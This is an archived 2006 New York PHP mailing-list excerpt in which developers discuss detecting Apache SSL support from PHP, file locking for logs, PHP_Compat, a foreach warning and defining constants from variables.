> - Jon
> 
> On Jul 14, 2006, at 8:37 PM, Rolan Yang wrote:
> 
> 
>>Here are 2 ways to do it without resorting to fopen.. Only applies if
>>your https is on the same server. The first is cleaner than the  
>>second,
>>but neither are guaranteed to work. Use at your own risk.
>>
>>function check_https() {
>>        ob_start();
>>        phpinfo(INFO_GENERAL);
>>        $phpinfo = ob_get_contents();
>>        ob_end_clean();
>>        $s=strpos($phpinfo,'Registered PHP Streams');
>>        $e=strpos($phpinfo,"\n",$s);
>>        if (strstr(substr($phpinfo,$s,$e-$s),'https')) {
>>                return TRUE;
>>        }
>>        else {
>>                return FALSE;
>>        }
>>}
>>
>>function check_https2() {
>>        ob_start();
>>        phpinfo(INFO_GENERAL);
>>        $test=strstr(ob_get_contents(),'https');
>>        ob_end_clean();
>>        if ($test) { return TRUE;}
>>        else {return FALSE;}
>>}
>>
>>~Rolan
>>
>>Rob Marscher wrote:
>>
>>>Hi All,
>>>
>>>I've done a bit of searching and haven't been able to find if  
>>>there's a
>>>means that php running on apache can determine if apache supports
>>>ssl/https connections.  It would be nice my app to force an https
>>>connection on certain pages if it is available.  Otherwise I'll  
>>>have to
>>>do it with a manual config switch.
>>>
>>>Running apache_get_modules() and checking for mod_ssl seems like an
>>>option... but doesn't work on PHP 4.4.2 w/ Apache 1.3 which a lot of
>>>production servers still use.  Any other ideas?
>>>
>>>Thanks a lot,
>>>Rob
>>>
>>
>>_______________________________________________
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>>http://lists.nyphp.org/mailman/listinfo/talk
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>>http://www.nyphpcon.com
>>Show Your Participation in New York PHP
>>http://www.nyphp.org/show_participation.php
>>
>>
> 
> 
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From rolan at omnistep.com  Fri Jul 14 22:22:21 2006
From: rolan at omnistep.com (Rolan Yang)
Date: Fri, 14 Jul 2006 22:22:21 -0400
Subject: [nycphp-talk] Use php to check for ssl/https support in apache
In-Reply-To: <27A81BE1-0F83-4054-9B56-57872B3913E2@jonbaer.com>
References: <44B7E8DD.2080009@beaffinitive.com> <44B838DF.2010404@omnistep.com>
	<27A81BE1-0F83-4054-9B56-57872B3913E2@jonbaer.com>
Message-ID: <44B8515D.5060302@omnistep.com>

Apache can be started without the SSL regardless of the certificate's 
existence.
I just tested my code below and phpinfo reports https even when apache 
isn't listening on 443.
Sorry. You can toss it all out the window! :(

~Rolan

Jon Baer wrote:
> This may sound like a dumb question but wouldn't a test for a  
> specific certificate file somehow be a better sign that SSL is setup?
>
> Like attaching a check, if (file_exists('/some/path/cert.pem')) header 
> ("Location: https://secure/path/");
>
> ?
>
> - Jon
>
> On Jul 14, 2006, at 8:37 PM, Rolan Yang wrote:
>
>   
>> Here are 2 ways to do it without resorting to fopen.. Only applies if
>> your https is on the same server. The first is cleaner than the  
>> second,
>> but neither are guaranteed to work. Use at your own risk.
>>
>> function check_https() {
>>         ob_start();
>>         phpinfo(INFO_GENERAL);
>>         $phpinfo = ob_get_contents();
>>         ob_end_clean();
>>         $s=strpos($phpinfo,'Registered PHP Streams');
>>         $e=strpos($phpinfo,"\n",$s);
>>         if (strstr(substr($phpinfo,$s,$e-$s),'https')) {
>>                 return TRUE;
>>         }
>>         else {
>>                 return FALSE;
>>         }
>> }
>>
>> function check_https2() {
>>         ob_start();
>>         phpinfo(INFO_GENERAL);
>>         $test=strstr(ob_get_contents(),'https');
>>         ob_end_clean();
>>         if ($test) { return TRUE;}
>>         else {return FALSE;}
>> }
>>
>> ~Rolan
>>
>> Rob Marscher wrote:
>>     
>>> Hi All,
>>>
>>> I've done a bit of searching and haven't been able to find if  
>>> there's a
>>> means that php running on apache can determine if apache supports
>>> ssl/https connections.  It would be nice my app to force an https
>>> connection on certain pages if it is available.  Otherwise I'll  
>>> have to
>>> do it with a manual config switch.
>>>
>>> Running apache_get_modules() and checking for mod_ssl seems like an
>>> option... but doesn't work on PHP 4.4.2 w/ Apache 1.3 which a lot of
>>> production servers still use.  Any other ideas?
>>>
>>> Thanks a lot,
>>> Rob
>>>
>>>       
>> _______________________________________________
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>> http://lists.nyphp.org/mailman/listinfo/talk
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>> http://www.nyphp.org/show_participation.php
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>>
>>     
>
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From jonbaer at jonbaer.com  Sat Jul 15 11:11:18 2006
From: jonbaer at jonbaer.com (Jon Baer)
Date: Sat, 15 Jul 2006 11:11:18 -0400
Subject: [nycphp-talk] Use php to check for ssl/https support in apache
In-Reply-To: <44B8515D.5060302@omnistep.com>
References: <44B7E8DD.2080009@beaffinitive.com> <44B838DF.2010404@omnistep.com>
	<27A81BE1-0F83-4054-9B56-57872B3913E2@jonbaer.com>
	<44B8515D.5060302@omnistep.com>
Message-ID: <3DEBB5D2-1850-4384-B2E1-7C0F7006C06E@jonbaer.com>

Its just not possible then if Apache can start SSL w/o a cert and on  
another port than 443 (although unlikely in a common setup).  I think  
the original question pertained to mod_rewriting some URLs to a  
secure port if its setup w/o a manual configuration switch, the only  
other thing I can think of is either using a low level ext, like  
PHPcap (http://alcane.newffr.com/phpcap/) or something like reading  
banners once w/ another tool ... "nmap -sV -oG - -p 443 localhost |  
egrep open" ...

More overkill but it would be the difference between if it is setup  
vs. it is running I guess :-)

There is also an alternative method on the doc page, did you check  
that out?

http://us3.php.net/apache_get_modules

He reads the httpd.conf file to determine if LoadModules does pull in  
SSL.

- Jon

On Jul 14, 2006, at 10:22 PM, Rolan Yang wrote:

> Apache can be started without the SSL regardless of the certificate's
> existence.
> I just tested my code below and phpinfo reports https even when apache
> isn't listening on 443.
> Sorry. You can toss it all out the window! :(
>
> ~Rolan
>
> Jon Baer wrote:
>> This may sound like a dumb question but wouldn't a test for a
>> specific certificate file somehow be a better sign that SSL is setup?
>>
>> Like attaching a check, if (file_exists('/some/path/cert.pem'))  
>> header
>> ("Location: https://secure/path/");
>>
>> ?
>>
>> - Jon
>>
>> On Jul 14, 2006, at 8:37 PM, Rolan Yang wrote:
>>
>>
>>> Here are 2 ways to do it without resorting to fopen.. Only  
>>> applies if
>>> your https is on the same server. The first is cleaner than the
>>> second,
>>> but neither are guaranteed to work. Use at your own risk.
>>>
>>> function check_https() {
>>>         ob_start();
>>>         phpinfo(INFO_GENERAL);
>>>         $phpinfo = ob_get_contents();
>>>         ob_end_clean();
>>>         $s=strpos($phpinfo,'Registered PHP Streams');
>>>         $e=strpos($phpinfo,"\n",$s);
>>>         if (strstr(substr($phpinfo,$s,$e-$s),'https')) {
>>>                 return TRUE;
>>>         }
>>>         else {
>>>                 return FALSE;
>>>         }
>>> }
>>>
>>> function check_https2() {
>>>         ob_start();
>>>         phpinfo(INFO_GENERAL);
>>>         $test=strstr(ob_get_contents(),'https');
>>>         ob_end_clean();
>>>         if ($test) { return TRUE;}
>>>         else {return FALSE;}
>>> }
>>>
>>> ~Rolan
>>>
>>> Rob Marscher wrote:
>>>
>>>> Hi All,
>>>>
>>>> I've done a bit of searching and haven't been able to find if
>>>> there's a
>>>> means that php running on apache can determine if apache supports
>>>> ssl/https connections.  It would be nice my app to force an https
>>>> connection on certain pages if it is available.  Otherwise I'll
>>>> have to
>>>> do it with a manual config switch.
>>>>
>>>> Running apache_get_modules() and checking for mod_ssl seems like an
>>>> option... but doesn't work on PHP 4.4.2 w/ Apache 1.3 which a  
>>>> lot of
>>>> production servers still use.  Any other ideas?
>>>>
>>>> Thanks a lot,
>>>> Rob
>>>>
>>>>
>>> _______________________________________________
>>> New York PHP Community Talk Mailing List
>>> http://lists.nyphp.org/mailman/listinfo/talk
>>> New York PHP Conference and Expo 2006
>>> http://www.nyphpcon.com
>>> Show Your Participation in New York PHP
>>> http://www.nyphp.org/show_participation.php
>>>
>>>
>>>
>>
>> _______________________________________________
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From alanseiden at acm.org  Sat Jul 15 14:58:38 2006
From: alanseiden at acm.org (Alan Seiden)
Date: Sat, 15 Jul 2006 14:58:38 -0400
Subject: [nycphp-talk] my article about Zend/PHP on IBM System i (formerly
	iSeries)
Message-ID: <44B93ADE.6020309@acm.org>

I wrote an article describing Zend's PHP products for IBM System i 
(formerly i5, iSeries, AS/400).
The article includes up-to-date information based on interviews with 
Zend personnel.
http://www.mcpressonline.com/mc?1 at 206.JQisdtL8cvq.0@.6b3891e4

Alan Seiden


From plehrer at gmail.com  Sat Jul 15 19:09:10 2006
From: plehrer at gmail.com (Peter Lehrer)
Date: Sat, 15 Jul 2006 19:09:10 -0400
Subject: [nycphp-talk] my article about Zend/PHP on IBM System i
	(formerly iSeries)
In-Reply-To: <44B93ADE.6020309@acm.org>
References: <44B93ADE.6020309@acm.org>
Message-ID: <f002fa910607151609p26d7d06aw3a0bace4413555ff@mail.gmail.com>

Nice article.

Peter


On 7/15/06, Alan Seiden <alanseiden at acm.org> wrote:
>
> I wrote an article describing Zend's PHP products for IBM System i
> (formerly i5, iSeries, AS/400).
> The article includes up-to-date information based on interviews with
> Zend personnel.
> http://www.mcpressonline.com/mc?1 at 206.JQisdtL8cvq.0@.6b3891e4
>
> Alan Seiden
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From rrothe at ana.net  Sat Jul 15 21:07:38 2006
From: rrothe at ana.net (Rothe, Robert)
Date: Sat, 15 Jul 2006 21:07:38 -0400
Subject: [nycphp-talk] Question about htaccess logs
Message-ID: <D21B3AD78C55F44EBEAF1E84DCF0A7810140C93E@anaexch2-nyc.ana.net>

The user name should be the third item in Apache's access log (for both common and combined formats).  More information is available here: http://httpd.apache.org/docs/1.3/logs.htm or here http://httpd.apache.org/docs/2.0/logs.html
 
 
 
________________________________

From: talk-bounces at lists.nyphp.org on behalf of Joe Lee
Sent: Fri 7/14/2006 2:27 PM
To: talk at lists.nyphp.org
Subject: [nycphp-talk] Question about htaccess logs



Hi All, I have a htpasswd setup for a site. Is there any sort of logs to
see when a user have logged in using the htaccess account?
-joe
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From rothmail at comcast.net  Sun Jul 16 21:42:34 2006
From: rothmail at comcast.net (David A.Roth)
Date: Sun, 16 Jul 2006 21:42:34 -0400
Subject: [nycphp-talk] Logging and file locking.
Message-ID: <8e75ccd3a63e3586897db65d76f9512a@comcast.net>

When you do your own logging of various events to text logfiles created 
from PHP, is file locking needed or does Linux handle this for us? I am 
designing a new web application which will have multiple processes 
appending to the same text logfile, and I'm concerned entries might get 
lost.

If the answer is yes you need to do your own file locking, I'd be 
interested to know how you handle the problem yourself and a pointer to 
resources/discussion would be appreciated.

Thanks!

David Roth



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From rrothe at ana.net  Mon Jul 17 08:22:28 2006
From: rrothe at ana.net (Rothe, Robert)
Date: Mon, 17 Jul 2006 08:22:28 -0400
Subject: [nycphp-talk] Logging and file locking.
Message-ID: <D21B3AD78C55F44EBEAF1E84DCF0A7810141BFA9@anaexch2-nyc.ana.net>

Here is a very simple example of cooperative locking.  Be sure to read
the PHP flock() docs concerning locking files opened with truncation --
which is not the case in this example.  

This was written long ago and I recall testing it on both *nix and Win.
It creates a simple text log file with date, time, IP, and a passed
string.  As a byproduct, it also auto-rotates daily.


function WriteLog( $s )
{
	global $LOG_FILE_PATH;

	$fn = $LOG_FILE_PATH.'log-'.date('Ymd');

	// Open file (or create it).  You should check for errors.

	$fp = fopen( $fn, 'a' );

	/*
	* flock() will block waiting for another proc to release
acquired 
	* lock.  You should probably check error condition here.  See
docs 
	* for how to get EWOULDBLOCK flag.
	*/

	flock($fp, LOCK_EX );		

	/*
	* See to end, write, and then close.  Fclose() releases all
locks.
	* Check for errors as appropriate.
	*/

	fseek( $fp, 0, SEEK_END );

	fwrite($fp, date('Y-m-d H:i:s '));   // Write date/time
	fwrite($fp, $_SERVER['REMOTE_ADDR'].' ');  //Write IP

	fwrite($fp, $s."\n");	// Write passed string and newline.

	fclose($fp);	// Close file which releases lock.
}




-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org]
On Behalf Of David A.Roth
Sent: Sunday, July 16, 2006 9:43 PM
To: talk at lists.nyphp.org
Subject: [nycphp-talk] Logging and file locking.

When you do your own logging of various events to text logfiles created 
from PHP, is file locking needed or does Linux handle this for us? I am 
designing a new web application which will have multiple processes 
appending to the same text logfile, and I'm concerned entries might get 
lost.

If the answer is yes you need to do your own file locking, I'd be 
interested to know how you handle the problem yourself and a pointer to 
resources/discussion would be appreciated.

Thanks!

David Roth

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From jbaer at VillageVoice.com  Mon Jul 17 12:32:40 2006
From: jbaer at VillageVoice.com (Baer, Jon)
Date: Mon, 17 Jul 2006 12:32:40 -0400
Subject: [nycphp-talk] PHP_Compat - any issues?
Message-ID: <4D2FAD9B00577645932AD7ED5FECA24502DC7CF8@mail>

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Im trying to make use of a library implementing a few
file_put_contents() features on an older system and was looking to see
if it was better to use this entire PEAR package or just rip out + use
functions specific to my need.
 
Has anyone use this package on < PHP5 w/ any issues?  Ive not had to use
it before + just want to see if there was any feedback, I can note that
using a framework that provides legacy functions like Cake would have
some, but not many ...
 
Thoughts?
 
Thanks.
 
- - Jon
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From jbaer at VillageVoice.com  Mon Jul 17 13:22:30 2006
From: jbaer at VillageVoice.com (Baer, Jon)
Date: Mon, 17 Jul 2006 13:22:30 -0400
Subject: [nycphp-talk] PHP_Compat - any issues?
Message-ID: <4D2FAD9B00577645932AD7ED5FECA24502DC7D20@mail>

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Sorry .. I should have read the docs over more before posting, I saw
PHP_Compat::loadFunction() allows for single function to be imported
(vs. an entire library of calls).

- - Jon

- -----Original Message-----
From: Baer, Jon 
Sent: Monday, July 17, 2006 12:33 PM
To: 'NYPHP Talk'
Subject: PHP_Compat - any issues?

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Im trying to make use of a library implementing a few
file_put_contents() features on an older system and was looking to see
if it was better to use this entire PEAR package or just rip out + use
functions specific to my need.
 
Has anyone use this package on < PHP5 w/ any issues?  Ive not had to use
it before + just want to see if there was any feedback, I can note that
using a framework that provides legacy functions like Cake would have
some, but not many ...
 
Thoughts?
 
Thanks.
 
- - - Jon
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From plehrer at gmail.com  Mon Jul 17 14:14:38 2006
From: plehrer at gmail.com (Peter Lehrer)
Date: Mon, 17 Jul 2006 14:14:38 -0400
Subject: [nycphp-talk] free dsl modem
Message-ID: <f002fa910607171114h53229ca0mdaaf09eaeaed134b@mail.gmail.com>

Does anyone want a free dsl modem/router with accompanied attachments? I
could meet you at a PHP meeting and give it to you. Please reply off list.

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From Consult at CovenantEDesign.com  Mon Jul 17 15:43:29 2006
From: Consult at CovenantEDesign.com (CED)
Date: Mon, 17 Jul 2006 15:43:29 -0400
Subject: [nycphp-talk] foreach ERROR
Message-ID: <004c01c6a9d9$47f82540$0619a8c0@ced>

Sirs,

I have used variables many times in foreach statements... and having spent several hours tryignt o debug this I thought I'd throw it out here:

  1.. <? 
  2.. function readD($dir){ 
  3.. if(!$dir){$dir = '.';} 
  4.. foreach(glob("$dir/*.mp3") as $item){$sort[]= end(explode('/',$item));} 
  5..  foreach($sort as $sorteditem){ 
  6..   if($sort){natsort($sort);} 
  7..     foreach($sort as $item){$return[]= $item;} 
  8..      if(!$return){return array();} 
  9..      } 
  10..   return $return; 
  11..   } ?> 
  12.. <?php header("Content-type: text/xyxml") ?> 
  13.. <? echo(' <?xml version="1.0" encoding="UTF-8"?> ') ; ?> 
  14.. <? echo '<player showDisplay="yes" showPlaylist="no" autoStart="yes"> 
  15.. ' ; 
  16..  
  17.. $sFolder = '../Audio/Music' ; 
  18.. foreach(readD($sFolder) as $item) 
  19.. {
PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this a bug? Am I a moron?
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From randalrust at gmail.com  Mon Jul 17 15:48:25 2006
From: randalrust at gmail.com (Randal Rust)
Date: Mon, 17 Jul 2006 15:48:25 -0400
Subject: [nycphp-talk] Passing a variable to a constant
Message-ID: <a9caffe50607171248h56783f4cl5ac95a006bb2312b@mail.gmail.com>

I'd like to pass a variable to a constant, like so:

$imageDir='/uploads/'.$orgID.'/images/';
define('IMAGE_PATH_DIRECTORY', $imageDir)

It doesn't seem to be working. Every time I check the value, the
$orgID is missing. I can print it to the screen (it's held in the
$_SESSION), so I know it's there. My guess is that I just can't do
this, and I'm not finding anything via Google or php.net that tells me
otherwise.

-- 
Randal Rust
R.Squared Communications
www.r2communications.com


From dorgan at optonline.net  Mon Jul 17 15:54:31 2006
From: dorgan at optonline.net (Donald J Organ IV)
Date: Mon, 17 Jul 2006 15:54:31 -0400
Subject: [nycphp-talk] Passing a variable to a constant
In-Reply-To: <a9caffe50607171248h56783f4cl5ac95a006bb2312b@mail.gmail.com>
References: <a9caffe50607171248h56783f4cl5ac95a006bb2312b@mail.gmail.com>
Message-ID: <44BBEAF7.4070609@optonline.net>

Why use a constant in that case, why not refer to the variable.

Constants are meant not to be changed.

Randal Rust wrote:
> I'd like to pass a variable to a constant, like so:
>
> $imageDir='/uploads/'.$orgID.'/images/';
> define('IMAGE_PATH_DIRECTORY', $imageDir)
>
> It doesn't seem to be working. Every time I check the value, the
> $orgID is missing. I can print it to the screen (it's held in the
> $_SESSION), so I know it's there. My guess is that I just can't do
> this, and I'm not finding anything via Google or php.net that tells me
> otherwise.
>
>   


From randalrust at gmail.com  Mon Jul 17 15:56:42 2006
From: randalrust at gmail.com (Randal Rust)
Date: Mon, 17 Jul 2006 15:56:42 -0400
Subject: [nycphp-talk] Passing a variable to a constant
In-Reply-To: <44BBEAF7.4070609@optonline.net>
References: <a9caffe50607171248h56783f4cl5ac95a006bb2312b@mail.gmail.com>
	<44BBEAF7.4070609@optonline.net>
Message-ID: <a9caffe50607171256j4db0a536u251b922068f23319@mail.gmail.com>

On 7/17/06, Donald J Organ IV <dorgan at optonline.net> wrote:\

> Why use a constant in that case, why not refer to the variable.

> Constants are meant not to be changed.

I think that may be what I have to look into. I am modifying a
third-party script, and the image directories have to be specific to
the organization ID of the logged in user.

-- 
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R.Squared Communications
www.r2communications.com


From jbaer at VillageVoice.com  Mon Jul 17 15:58:39 2006
From: jbaer at VillageVoice.com (Baer, Jon)
Date: Mon, 17 Jul 2006 15:58:39 -0400
Subject: [nycphp-talk] foreach ERROR
In-Reply-To: <004c01c6a9d9$47f82540$0619a8c0@ced>
Message-ID: <4D2FAD9B00577645932AD7ED5FECA24502DC7D8F@mail>

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Does it bail out even w/ an absolute path? Ie: $sFolder =
'/full/path/to/Audio/Music'

The directory change in ".." might be a security issue.

- - Jon

- -----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org]
On Behalf Of CED
Sent: Monday, July 17, 2006 3:43 PM
To: NYPHP Talk
Subject: [nycphp-talk] foreach ERROR

Sirs,
 
I have used variables many times in foreach statements... and having
spent several hours tryignt o debug this I thought I'd throw it out
here:
 

1.	<? 
2.	function readD($dir){ 
3.	if(!$dir){$dir = '.';} 
4.	foreach(glob("$dir/*.mp3") as $item){$sort[]=
end(explode('/',$item));} 
5.	 foreach($sort as $sorteditem){ 
6.	  if($sort){natsort($sort);} 
7.	    foreach($sort as $item){$return[]= $item;} 
8.	     if(!$return){return array();} 
9.	     } 
10.	  return $return; 
11.	  } ?> 
12.	<?php header("Content-type: text/xyxml") ?> 
13.	<? echo(' <?xml version="1.0" encoding="UTF-8"?> ') ; ?> 
14.	<? echo '<player showDisplay="yes" showPlaylist="no"
autoStart="yes"> 
15.	' ; 
16.	
17.	$sFolder = '../Audio/Music' ; 
18.	foreach(readD($sFolder) as $item) 
19.	{

PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this a bug? Am I
a moron?
 
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From lists at jack-scott.com  Mon Jul 17 16:11:08 2006
From: lists at jack-scott.com (lists at jack-scott.com)
Date: Mon, 17 Jul 2006 16:11:08 -0400
Subject: [nycphp-talk] foreach ERROR
In-Reply-To: <004c01c6a9d9$47f82540$0619a8c0@ced>
References: <004c01c6a9d9$47f82540$0619a8c0@ced>
Message-ID: <1153167068.18340.0.camel@localhost>


On Mon, 2006-07-17 at 15:43 -0400, CED wrote:
> Sirs,
>  
> I have used variables many times in foreach statements... and having
> spent several hours tryignt o debug this I thought I'd throw it out
> here:
>  
>         
>      1. <?  
>      2. function readD($dir){ 
>      3. if(!$dir){$dir = '.';} 
>      4. foreach(glob("$dir/*.mp3") as $item){$sort[]= end(explode('/',
>         $item));} 
>      5.  foreach($sort as $sorteditem){ 
>      6.   if($sort){natsort($sort);} 
>      7.     foreach($sort as $item){$return[]= $item;} 
>      8.      if(!$return){return array();} 
>      9.      } 
>     10.   return $return; 
>     11.   } ?> 
>     12. <?php header("Content-type: text/xyxml") ?> 
>     13. <? echo(' <?xml version="1.0" encoding="UTF-8"?> ') ; ?> 
>     14. <? echo '<player showDisplay="yes" showPlaylist="no"
>         autoStart="yes"> 
>     15. ' ; 
>     17. $sFolder = '../Audio/Music' ;  
>     18. foreach(readD($sFolder) as $item) 
>     19. {
>         
> PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this a bug? Am
> I a moron?


what are the errors? Is line five looping on an empty array

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From Consult at CovenantEDesign.com  Mon Jul 17 16:12:57 2006
From: Consult at CovenantEDesign.com (CED)
Date: Mon, 17 Jul 2006 16:12:57 -0400
Subject: [nycphp-talk] foreach ERROR
References: <4D2FAD9B00577645932AD7ED5FECA24502DC7D8F@mail>
Message-ID: <001201c6a9dd$6571c820$0619a8c0@ced>

Yep errors even with a full path.

----- Original Message ----- 
From: "Baer, Jon" <jbaer at VillageVoice.com>
To: "NYPHP Talk" <talk at lists.nyphp.org>
Sent: Monday, July 17, 2006 3:58 PM
Subject: Re: [nycphp-talk] foreach ERROR


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Does it bail out even w/ an absolute path? Ie: $sFolder =
'/full/path/to/Audio/Music'

The directory change in ".." might be a security issue.

- - Jon

- -----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org]
On Behalf Of CED
Sent: Monday, July 17, 2006 3:43 PM
To: NYPHP Talk
Subject: [nycphp-talk] foreach ERROR

Sirs,
 
I have used variables many times in foreach statements... and having
spent several hours tryignt o debug this I thought I'd throw it out
here:
 

1. <? 
2. function readD($dir){ 
3. if(!$dir){$dir = '.';} 
4. foreach(glob("$dir/*.mp3") as $item){$sort[]=
end(explode('/',$item));} 
5. foreach($sort as $sorteditem){ 
6.   if($sort){natsort($sort);} 
7.     foreach($sort as $item){$return[]= $item;} 
8.      if(!$return){return array();} 
9.      } 
10.   return $return; 
11.   } ?> 
12. <?php header("Content-type: text/xyxml") ?> 
13. <? echo(' <?xml version="1.0" encoding="UTF-8"?> ') ; ?> 
14. <? echo '<player showDisplay="yes" showPlaylist="no"
autoStart="yes"> 
15. ' ; 
16. 
17. $sFolder = '../Audio/Music' ; 
18. foreach(readD($sFolder) as $item) 
19. {

PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this a bug? Am I
a moron?
 
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From Consult at CovenantEDesign.com  Mon Jul 17 16:17:42 2006
From: Consult at CovenantEDesign.com (CED)
Date: Mon, 17 Jul 2006 16:17:42 -0400
Subject: [nycphp-talk] foreach ERROR
References: <004c01c6a9d9$47f82540$0619a8c0@ced>
	<1153167068.18340.0.camel@localhost>
Message-ID: <002a01c6a9de$0f47b7b0$0619a8c0@ced>

www.EdwardPrevost.info/Audio

You'll see the basic structure there
/Music is the MP3 files
/mp3 is the PHP file

The error is a basic WARNING Invalid argument supplied for foreach() on line 5. Same thing reported for Line 18.
  ----- Original Message ----- 
  From: lists at jack-scott.com 
  To: NYPHP Talk 
  Sent: Monday, July 17, 2006 4:11 PM
  Subject: Re: [nycphp-talk] foreach ERROR



  On Mon, 2006-07-17 at 15:43 -0400, CED wrote: 
    Sirs, 
     
    I have used variables many times in foreach statements... and having spent several hours tryignt o debug this I thought I'd throw it out here: 
     
      1.. <? 
      2.. function readD($dir){ 
      3.. if(!$dir){$dir = '.';} 
      4.. foreach(glob("$dir/*.mp3") as $item){$sort[]= end(explode('/',$item));} 
      5..  foreach($sort as $sorteditem){ 
      6..   if($sort){natsort($sort);} 
      7..     foreach($sort as $item){$return[]= $item;} 
      8..      if(!$return){return array();} 
      9..      } 
      10..   return $return; 
      11..   } ?> 
      12.. <?php header("Content-type: text/xyxml") ?> 
      13.. <? echo(' <?xml version="1.0" encoding="UTF-8"?> ') ; ?> 
      14.. <? echo '<player showDisplay="yes" showPlaylist="no" autoStart="yes"> 
      15.. ' ; 
      17.. $sFolder = '../Audio/Music' ; 
      18.. foreach(readD($sFolder) as $item) 
      19.. { 
    PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this a bug? Am I a moron?


  what are the errors? Is line five looping on an empty array 



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From lists at jack-scott.com  Mon Jul 17 16:18:29 2006
From: lists at jack-scott.com (lists at jack-scott.com)
Date: Mon, 17 Jul 2006 16:18:29 -0400
Subject: [nycphp-talk] foreach ERROR
In-Reply-To: <001201c6a9dd$6571c820$0619a8c0@ced>
References: <4D2FAD9B00577645932AD7ED5FECA24502DC7D8F@mail>
	<001201c6a9dd$6571c820$0619a8c0@ced>
Message-ID: <1153167509.18338.2.camel@localhost>

can you post the errors?

On Mon, 2006-07-17 at 16:12 -0400, CED wrote:

> Yep errors even with a full path.
> 
> ----- Original Message ----- 
> From: "Baer, Jon" <jbaer at VillageVoice.com>
> To: "NYPHP Talk" <talk at lists.nyphp.org>
> Sent: Monday, July 17, 2006 3:58 PM
> Subject: Re: [nycphp-talk] foreach ERROR
> 
> 
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> 
> Does it bail out even w/ an absolute path? Ie: $sFolder =
> '/full/path/to/Audio/Music'
> 
> The directory change in ".." might be a security issue.
> 
> - - Jon
> 
> - -----Original Message-----
> From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org]
> On Behalf Of CED
> Sent: Monday, July 17, 2006 3:43 PM
> To: NYPHP Talk
> Subject: [nycphp-talk] foreach ERROR
> 
> Sirs,
>  
> I have used variables many times in foreach statements... and having
> spent several hours tryignt o debug this I thought I'd throw it out
> here:
>  
> 
> 1. <? 
> 2. function readD($dir){ 
> 3. if(!$dir){$dir = '.';} 
> 4. foreach(glob("$dir/*.mp3") as $item){$sort[]=
> end(explode('/',$item));} 
> 5. foreach($sort as $sorteditem){ 
> 6.   if($sort){natsort($sort);} 
> 7.     foreach($sort as $item){$return[]= $item;} 
> 8.      if(!$return){return array();} 
> 9.      } 
> 10.   return $return; 
> 11.   } ?> 
> 12. <?php header("Content-type: text/xyxml") ?> 
> 13. <? echo(' <?xml version="1.0" encoding="UTF-8"?> ') ; ?> 
> 14. <? echo '<player showDisplay="yes" showPlaylist="no"
> autoStart="yes"> 
> 15. ' ; 
> 16. 
> 17. $sFolder = '../Audio/Music' ; 
> 18. foreach(readD($sFolder) as $item) 
> 19. {
> 
> PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this a bug? Am I
> a moron?
>  
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From lists at jack-scott.com  Mon Jul 17 16:25:13 2006
From: lists at jack-scott.com (lists at jack-scott.com)
Date: Mon, 17 Jul 2006 16:25:13 -0400
Subject: [nycphp-talk] foreach ERROR
In-Reply-To: <002a01c6a9de$0f47b7b0$0619a8c0@ced>
References: <004c01c6a9d9$47f82540$0619a8c0@ced>
	<1153167068.18340.0.camel@localhost>
	<002a01c6a9de$0f47b7b0$0619a8c0@ced>
Message-ID: <1153167913.18344.6.camel@localhost>

you are certain you arrays are not empty?
try scandir( dir() )
will return array of files and directories in the current working
directory.
from there you can use something like is_file() is_dir() to weed out the
desired results.

On Mon, 2006-07-17 at 16:17 -0400, CED wrote:

> ? 
> 
> www.EdwardPrevost.info/Audio
>  
> You'll see the basic structure there
> /Music is the MP3 files
> /mp3 is the PHP file
>  
> The error is a basic WARNING Invalid argument supplied for foreach()
> on line 5. Same thing reported for Line 18.
>         ----- Original Message ----- 
>         From: lists at jack-scott.com 
>         To: NYPHP Talk 
>         Sent: Monday, July 17, 2006 4:11 PM
>         Subject: Re: [nycphp-talk] foreach ERROR
>         
>         
>         
>         
>         On Mon, 2006-07-17 at 15:43 -0400, CED wrote: 
>         
>         > Sirs, 
>         > I have used variables many times in foreach statements...
>         > and having spent several hours tryignt o debug this I
>         > thought I'd throw it out here: 
>         >      1. <?  
>         >      2. function readD($dir){  
>         >      3. if(!$dir){$dir = '.';}  
>         >      4. foreach(glob("$dir/*.mp3") as $item){$sort[]=
>         >         end(explode('/',$item));}  
>         >      5.  foreach($sort as $sorteditem){  
>         >      6.   if($sort){natsort($sort);}  
>         >      7.     foreach($sort as $item){$return[]= $item;}  
>         >      8.      if(!$return){return array();}  
>         >      9.      }  
>         >     10.   return $return;  
>         >     11.   } ?>  
>         >     12. <?php header("Content-type: text/xyxml") ?>  
>         >     13. <? echo(' <?xml version="1.0" encoding="UTF-8"?>
>         >         ') ; ?>  
>         >     14. <? echo '<player showDisplay="yes" showPlaylist="no"
>         >         autoStart="yes">  
>         >     15. ' ;  
>         >     17. $sFolder = '../Audio/Music' ;  
>         >     18. foreach(readD($sFolder) as $item)  
>         >     19. { 
>         > PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this
>         > a bug? Am I a moron?
>         
>         
>         what are the errors? Is line five looping on an empty array 


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From cahoyos at us.ibm.com  Mon Jul 17 16:32:10 2006
From: cahoyos at us.ibm.com (Carlos A Hoyos)
Date: Mon, 17 Jul 2006 16:32:10 -0400
Subject: [nycphp-talk] Passing a variable to a constant
In-Reply-To: <a9caffe50607171248h56783f4cl5ac95a006bb2312b@mail.gmail.com>
Message-ID: <OF3884B08E.D11BA82E-ON852571AE.00701B3C-852571AE.0070CEF6@us.ibm.com>

> I'd like to pass a variable to a constant, like so:
>
> $imageDir='/uploads/'.$orgID.'/images/';
> define('IMAGE_PATH_DIRECTORY', $imageDir)
>
> It doesn't seem to be working. Every time I check the value, the
> $orgID is missing. I can print it to the screen (it's held in the

There shouldn't be any problem in defining a constant through a variable.
What is not allowed, and will be ignored, is to redefine or change a
constant.

If the constant IMAGE_PATH_DIRECTORY, had previously been defined, your
code will be ignored.



Carlos Hoyos



From rmarscher at beaffinitive.com  Mon Jul 17 17:21:08 2006
From: rmarscher at beaffinitive.com (Rob Marscher)
Date: Mon, 17 Jul 2006 17:21:08 -0400
